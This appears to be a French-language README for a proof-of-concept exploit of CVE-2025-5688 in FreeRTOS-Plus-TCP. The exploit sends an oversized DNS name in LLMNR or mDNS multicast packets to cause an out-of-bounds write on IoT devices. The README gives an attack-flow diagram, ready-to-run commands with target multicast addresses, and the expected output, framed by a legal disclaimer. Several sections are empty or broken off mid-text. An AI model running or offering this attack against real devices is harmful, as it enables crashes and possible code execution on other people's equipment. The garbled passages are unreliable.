
Exploit PoC pour CVE-2025-5688 : écriture hors limites à distance dans FreeRTOS-Plus-TCP via des requêtes LLMNR/mDNS malveillantes, provoquant un crash ou une éventuelle exécution de code à distance (RCE) sur des appareils IoT vulnérables.
Corruption mémoire à distance / DoS / potentiel déclenchement d'exécution de code dans FreeRTOS-Plus-TCP lors du traitement de noms DNS excessivement longs dans les requêtes LLMNR ou mDNS (Schéma d'allocation de tampon 1).
Auteur de l'exploit : Mohammed Idrees Banyamer
Pays : Jordanie
Instagram : @banyamer_security
Date : 26 décembre 2025
Cette POC envoie un paquet multicast UDP spécialement conçu contenant un nom DNS excessivement long pour déclencher une écriture hors limites (CWE-787) dans les versions vulnérables de FreeRTOS-Plus-TCP (v2.3.4 – v4.3.1 avec LLMNR/mDNS + Schéma 1).
Symptômes courants sur les appareils affectés :
Appareils affectés (exemples)
Corrigé dans : FreeRTOS-Plus-TCP 4.3.2 (validation stricte de la longueur ajoutée)
Références
graph TD
A[Attacker on same LAN] -->|"1. Craft oversized DNS name"| B["`UDP Packet
long QNAME (~500+ bytes)`"]
B -->|"2. Send to multicast"| C{Target Protocol}
C -->|LLMNR| D[224.0.0.252:5355]
C -->|mDNS| E[224.0.0.251:5353]
D --> F["`FreeRTOS-Plus-TCP
LLMNR/mDNS Parser`"]
E --> F
F -->|"No length check + Scheme 1"| G[Fixed-size buffer overflow]
G --> H["`Out-of-bounds Write
CWE-787`"]
H --> I{Outcome}
I -->|"Common"| J[Crash / Reboot / Watchdog]
I -->|"Memory layout dependent"| K[Potential RCE / Code Execution]
I -->|"Data after buffer"| L[Memory corruption / Info leak]socket, sys) – aucun paquet externe# Attaque LLMNR (multicast par défaut)
python3 exploit.py LLMNR
# Attaque mDNS
python3 exploit.py mDNS
# Adresse IP multicast personnalisée (rarement nécessaire)
python3 exploit.py LLMNR 224.0.0.252
python3 exploit.py mDNS 224.0.0.251
Sortie attendue :
[+] Envoi de la requête LLMNR de 523 octets → cible 224.0.0.252:5355
[+] Envoyé. Surveillez un crash immédiat, un redémarrage, une boucle de clignotement LED ou un gel.
Ce code est fourni à des fins éducatives, de recherche et de démonstration de vulnérabilité uniquement.
N'utilisez PAS cet exploit contre un système ou un réseau sans autorisation écrite explicite du propriétaire.
Une utilisation non autorisée peut enfreindre les lois (lois sur la fraude et les abus informatiques, etc.).
L'auteur n'est pas responsable de toute utilisation abusive ou de tout dommage.
Licence MIT – voir le fichier LICENSE (ou ajoutez-en un s'il manque).